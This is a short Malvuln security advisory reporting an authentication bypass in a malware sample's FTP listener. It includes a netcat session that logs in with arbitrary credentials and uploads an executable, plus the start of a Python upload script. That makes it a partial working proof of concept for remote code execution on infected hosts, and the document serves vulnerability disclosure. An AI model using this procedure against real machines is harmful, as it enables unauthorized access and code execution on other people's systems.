Discovery / credits: Malvuln - malvuln.com (c) 2022
Original source: https://malvuln.com/advisory/91b2d216c5d26d9db4289acf68fa1743.txt
Vulnerability: Authentication Bypass
Description: The malware listens on TCP port 21. Third-party attackers who can reach infected systems can logon using any username/password combination. Intruders may then upload executables using ftp PASV, STOR commands, this can result in remote code execution.
Vuln ID: MVID-2022-0544
C:\>nc64.exe 192.168.18.125 21
220 FTP Server ready
331 Password required for malvuln.
230 User malvuln logged in.
215 UNIX Type: L8 Internet Component Suite
250 CWD command successful. "C:/" is current directory.
227 Entering Passive Mode (192,168,18,125,194,25).
150 Opening data connection for DOOM.exe.
226 File received ok
from socket import *
HOST = "192.168.18.125"
PORT = 49689
BUF_SIZE = 32
with open("DOOM.exe", "rb") as f:
bytez = f.read(BUF_SIZE)
if not bytez:
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